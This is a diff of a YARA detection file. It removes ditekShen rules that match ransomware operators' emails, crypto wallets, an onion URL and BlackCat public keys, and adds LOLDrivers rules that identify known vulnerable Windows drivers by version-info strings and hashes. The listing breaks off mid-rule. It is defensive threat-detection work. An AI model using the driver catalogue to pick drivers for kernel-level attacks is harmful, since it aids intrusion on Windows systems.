-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L438-L447"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d82e2497044518cee1b56da85f1ad6ac7934eec9ca68501932d55add4236d45"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - stdcdrvws64.sys"
+		author = "Florian Roth"
+		id = "8915229e-1b50-5c66-b20c-7221e3645c17"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1528-L1547"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "70afdc0e11db840d5367afe53c35d9642c1cf616c7832ab283781d085988e505"
+		logic_hash = "06aae42f1cfaaa5d797ef384786a8cdb54685465240d324216d8832be82c5db0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "adamadam@ausi.com" ascii wide nocase
-		$s2 = "XsrR2he2Z8un5ysGWnJ1wveZRPRS96XEoX" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006c006600540065007300740020004400610074006100200043006f006c006c006500630074006f00720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730074006400630064007200760077007300360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530065006c006600540065007300740020004400610074006100200043006f006c006c006500630074006f0072002000440072006900760065007200200066006f0072002000570069006e0064006f00770073002000370020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730074006400630064007200760077007300360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310030 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Zeppelin
+rule LOLDRIVERS_PUA_VULN_Driver_Realteksemiconductorcorp_Rtportsys_Realtekportio_FF32 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Zeppelin ransomware"
-		author = "ditekShen"
-		id = "f3bbfcd0-c66c-589e-ae04-904314d6a869"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L449-L462"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "66dd92423cfac32de4bea95ad0c9594cb449dc897cc6315d782c1db6de7dc5b1"
-		score = 75
-		quality = 63
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtport.sys"
+		author = "Florian Roth"
+		id = "4f6b5de0-26e8-50f8-b4a1-948b6acebb62"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1550-L1569"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ff322cd0cc30976f9dbdb7a3681529aeab0de7b7f5c5763362b02c15da9657a1"
+		logic_hash = "814b2a2bc284623f620341ec841cd080eb04ef9c9f4a11387d0b79c5010e70e8"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "kd8eby0@inboxhub.net" ascii wide nocase
-		$s2 = "kd8eby0@onionmail.org" ascii wide nocase
-		$s3 = "kd8eby0@nuke.africa" ascii wide nocase
-		$s4 = "uspex1@cock.li" ascii wide nocase
-		$s5 = "uspex2@cock.li" ascii wide nocase
-		$s6 = "China.Helper@aol.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200450041004c00540045004b00200050006f0072007400200049002f004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c00540045004b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00300031002e0030003000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00300031002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005200540050004f00520054002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200450041004c00540045004b00200050006f0072007400200049002f004f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005200540050004f00520054002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200031003900390039002d00320030003000310020005200450041004c00540045004b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_STOP
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_A6F7 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with STOP ransomware"
-		author = "ditekShen"
-		id = "b2279a7f-a187-5a44-bf1f-87c21b3ffa4f"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L464-L480"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f0d902edbcbe8ff8f3a751b649554499933b06471920c86a9eea3de23890b4bc"
-		score = 75
-		quality = 57
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "f8f7041b-7141-5f0e-9bec-aaf2b54e5c94"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1572-L1591"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a6f7897cd08fe9de5e902bb204ff87215584a008f458357d019a50d6139ca4af"
+		logic_hash = "e6b52b789ba1f5bf60722a7b4ec2f94e650b186605ea558780018edaa74090b4"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "gorentos@bitmessage.ch" ascii wide nocase
-		$s2 = "gorentos2@firemail.cc" ascii wide nocase
-		$s3 = "manager@mailtemp.ch" ascii wide nocase
-		$s4 = "helprestoremanager@airmail.cc" ascii wide nocase
-		$s5 = "supporthelp@airmail.cc" ascii wide nocase
-		$s6 = "managerhelper@airmail.cc" ascii wide nocase
-		$s7 = "helpteam@mail.ch" ascii wide nocase
-		$s8 = "helpmanager@airmail.cc" ascii wide nocase
-		$s9 = "support@sysmail.ch" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300031002e0030003700320035002e00320030003100320020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300031002e0030003700320035002e0032003000310032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f0044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Diavol
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_834A : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Diavol ransomware"
-		author = "ditekShen"
-		id = "ea499318-ed5b-5597-8f9f-4ece7942cf4b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L482-L491"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c72f4d7854f7ba813c4872d47aad69edb8c2927f380b9213ced1aca52454eee5"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "e37497ee-2ee8-5517-8cbe-8aa218770816"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1594-L1613"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "834a3d755b5ae798561f8e5fbb18cf28dfcae7a111dc6a03967888e9d10f6d78"
+		hash = "e89cb7217ec1568b43ad9ca35bf059b17c3e26f093e373ab6ebdeee24272db21"
+		logic_hash = "54a915ecbb2fb9f77603a19628d8130cf9896bc649618e3448442e1408b1f8a4"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "/noino.5fws6uqv5byttg2r//:sptth" ascii wide nocase
-		$s2 = "https://r2gttyb5vqu6swf5.onion/" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310032002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Chaos
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_F4C7 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Chaos ransomware"
-		author = "ditekShen"
-		id = "18476655-1468-569e-b518-ebeaf289fbd6"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L493-L511"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6e8dce1622dbccca6aa15040b49fc9ea05ec7192f8a79409fd7414690102d09a"
-		score = 75
-		quality = 67
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		id = "609554bc-0f2f-5861-ad56-fc7a772459a6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1616-L1637"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f4c7e94a7c2e49b130671b573a9e4ff4527a777978f371c659c3f97c14d126de"
+		hash = "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb"
+		hash = "1fac3fab8ea2137a7e81a26de121187bf72e7d16ffa3e9aec3886e2376d3c718"
+		logic_hash = "e2af00ec7cb87e1fe02844a4f26a73c0276f5620f63a59903e4283e4be4b8c72"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "anenomous31@gmail.com" ascii wide nocase
-		$s2 = "daengsocietyteam@gmail.com" ascii wide nocase
-		$s3 = "RansHelp@tutanota.com" ascii wide nocase
-		$s4 = "18vhBpgPhZrjJkbuT2ZyUXAnJavaJcTwEd" ascii wide
-		$s5 = "bc1qlnzcep4l4ac0ttdrq7awxev9ehu465f2vpt9x0" ascii wide
-		$s6 = "8AFtPnreZp28xoetUyKiQvVtwrov9PtEbMyvczdNZpBN45EUbEsrE8xYVp4NNqPrtxNjQwn3PbW3FG16EPYcPpKzMU78xN6" ascii wide
-		$s7 = "bc1qu6tharwawwny28z9fj6nrxg5cqftaep9ap6z2v" ascii wide
-		$s8 = "bambolina2021@virgilio.it" ascii wide nocase
-		$s9 = "1EoyuvcXdAQQvStkoJZ38vdGm84StD7wjm" ascii wide
-		$s10 = "1G395PJs8ciqvXPZEYb1LfUGPix9h9n3oQ" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000340020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Maze
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F42E : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Maze ransomware"
-		author = "ditekShen"
-		id = "7cc11912-e5d2-5477-ab9b-0c470bb5e1d6"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L513-L521"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "46070d46c502837e5fb87d0fb75244a1a21e90b4e0ce4b73c408b8dc67fe1bcb"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "8368db29-0a16-5a24-9053-ec5b079c1afc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1640-L1659"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f42eb29f5b2bcb2a70d796fd71fd1b259d5380b216ee672cf46dcdd4604b87ad"
+		logic_hash = "2bbf7257a20468f12ffa8e8dc70c126a41124043acfcae776cda173ed68788c3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "getmyfilesback@airmail.cc" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lokilocker
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CF4B : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with LokiLocker ransomware"
-		author = "ditekShen"
-		id = "ab2cf390-4544-54ed-913c-d463d0f1bdb0"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L523-L531"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ab9a2ce7e39d916b389e2adb975e3558ddb7d87f7e9494e6b20cb25edd3cb84"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "61555f9e-6caf-5c8c-b4ee-01046e04f744"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1662-L1681"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b"
+		logic_hash = "50f8cbf8834910e3560b3d092ae897977db2c9cb26107219e1604b2c26bba2ae"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "Unlockpls.dr01@yahoo.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d005300490043006c006f0063006b005f00430043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Blackcat
+rule LOLDRIVERS_PUA_VULN_Driver_Computerzsys_Ludashisystemdriver_3867 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with BlackCat ransomware"
-		author = "ditekShen"
-		id = "21038f8e-73cd-59d2-9eb3-6947d263ab79"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L533-L569"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eb0a4d26170f030775f778cc524749ca283dfa983f84bd364e4df6321eb96cf1"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "759c6fa4-abce-5dfc-924c-9fbe2ab5d6ff"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1684-L1704"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "386745d23a841e1c768b5bdf052e0c79bb47245f9713ee64e2a63f330697f0c8"
+		hash = "5aee1bae73d056960b3a2d2e24ea07c44358dc7bc3f8ac58cc015cccc8f8d89c"
+		logic_hash = "f911813c40d65c443b01e00635da122cd1969817c6d3842eca7a5a20ff57513e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$pk1 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0B0ni9tyKHSJmU6gc1iRwNTklYocRKmLPUyOthUIHnZHwL1M2pKlMBwXx81bboVS6Cf8YaCoWW1bCmLwPX421sG22xkmtMy/SfiG8jaYtYiA7r7hOdIUnJgRo6vDvNafZlSD32tFVVjuX8Ec79qj2FM7/MmNcseUgpIQaEACuZcSzMK+jZA4BLT9b5Akkec2hPOXGTPmgaXjL9EJE+0rhNZcm/m6xe4/S5eL2kSCVsNUeG8xWuSO2kDRS8xY3rtJOCNEdqZp1rxzTkhgj3hHqr7AoFAkxNblQ538JcdF5+CGINxckA/ldmP7wQd92tmFk2vcl2WeQykFwMM6L6MsQwIDAQAB" ascii wide
-		$pk2 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA49gzJwP9UwEuYQZT1cdgSpxG6z8TVNLPfS4Qwd3vpWHEOAuvi8JGVEpHPGZnrD1QFoDLSTva3PZ4mqtIVO79GOYb5uQkP7LdJGWbLAjUGptVGmB67jKOOLLrjmuBDHpJXSOGG/vw5vajr4MhNnsvoBLPOC0AOzPM6GBDgKdC9zdUGNEreAjOR4neqwZ2jfYl5k5e3eRF86hmWhGXJQaU1uTmDJwgQIzmUZKo+YCfAHbEbSA4HhsumJfw0MJN7RfKPEQkEVvRIBibHnJuIp1bxk3IGPzTCbyQLHMVLz8wgElEexu8/aO3FT6w4uPY3qD+r2W+ri7xIdEN/pTz6TBKvwIDAQAB" ascii wide
-		$pk3 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8tKPNFCbU5Unr9jxlTk4RmUdVhcRydJFts6hMpLzcAXIR2yxiNC0QiF4UovAIpGwX6kxOW7kOaOvABJQP6QENMNSg030VlLoTP+ndfFwIt+X+RUflG4UWPE8yu+kzGpCwp7UjX+hD/SpFbSFRRh3BvL3vEq04DzE0AzifEBE4yxKpLsrMsXyZzWy9Nza8NTO2jrBxoEVM2xCLkULp0wZEPDwgeKGkoxMzqavVWBC+Vxi0atKstbo7/TloNenPagl/eUErk9C8tT67zKgbEh3TFtREgaxa/yrjBvN48BU8JGGxLxy4AeGF0vOUdD0WkJsWYzLVg21ApgJaCDr5zDPuQIDAQAB" ascii wide
-		$pk4 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApw3tWdMaWJvNf2Mejy5H0Y6kuj+lstNpwFyismGDEYhWKPps9c68xl+84o6uLKfqPzNvLnSxlVa6DitcJGeKJEQkzN+C1e1KsfzM63jHybREB2hs+dHbqBq4dbamIQcTrrr4mKzuHJ7aok4mlpRx2Un1XOJaodoV7xOHO7ui5v6uK39MJ3rvitSEBvv5oI0WDlp3IFmtd6UM6r2nygY1ncAUuasalZgF1Vaz7VXOWyX2ReQHbYWWRCR1qyKMQcBtjT5POXx9B8ek1pnU4p65kGe9M794Bhhh20GN24gY5a+zwXwstaNTO9luwd4xjjRQAVsDgjrjkzti27G11ICn6wIDAQAB" ascii wide
-		$pk5 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8kj5LQJngPsY7AhTaJsUXc5FrSGeKS5gw5PIqk2QPM9TY6+us8TRRzWZ7rGk1zns2klpzpRMUzLIqB8lpCkJjqkOUGfgqs+HN4VIOpoJgFY897xstJCxTc+8pYQEsSqClxJllscU0okkLSQqndIR2Gznlg3qfcwyncJAFBInyqM+L4kbwCQZ6x5HNiLe2lJn8RP2aDiMI+RS1uLYron2G7rxDTUQnxThMtgLAeko8ulaB3TpB0g4lmHCenkEZeBNs81986+MjHnv7KkiscZ7ZrezKjNaIxRs8BAcD9y+Q9QQxCvZMS01ITNXcgiItbA4dsGq1fPJ42yBkkiIodsEQIDAQAB" ascii wide
-		$pk6 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqEoytNrMZRoqyIsFpcjiqVWpuV+cC9jS1umXNg/AnJF/xE7LONAmb1p8Dsx1igIUd65IXfFUxmJjFO5hf8LIBzvjUbBll4lbSgGTAUHa3Jbmr/imle6QftmY32J7dDb4WuJUOx+vLNT0I72CESiyotSzwgvLwjyubTmzTJMkqviYOcgDj45NVOx669cG6FWEaJo3PUZzRx9LS6pkOn8tW+W4NzmHMcrma+LOakan7NU6Khv5Hf5ARNsAA+KvDfP1WXJ/VsLXj6x8SdX0v2iS+y58ehUUmlxc8HNsYdOGFwrwYX9zLyJDedsbPg02c4AE4KXt8vH4+j4lVFtruSy4vwIDAQAB" ascii wide
-		$pk7 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt9uYkHzaizNXg/S11ncTTLybkMtqrKW8gg6TyzbGWnRNROl9O+l1VZBLG0xiMt1mZbuStl8Lt3l1vlkMa92kgLjN+UfKmq3KhBEheN2uMmR0WpwV83kceVRmzr5lug4RyQ/xA6/OXK4NptDIT4L6CUTBWMyk2mmY0Cq9HyyrjdnHeAXWAcQGFEac7W4jTjONZqI+lgScPewS+cPFnz1hAD0IAqzj5X2mZVSfFGR3tDoIe42jw5wb6W2yi8zb3mgKrGtTBbw0Ppj0UgKrmdN5iFmfUQHLEzKAakDggLcBtrW1o5+4WMaZOLw8maU5byvjXu3F3i3GdQe8SKTYcVK5OQIDAQAB" ascii wide
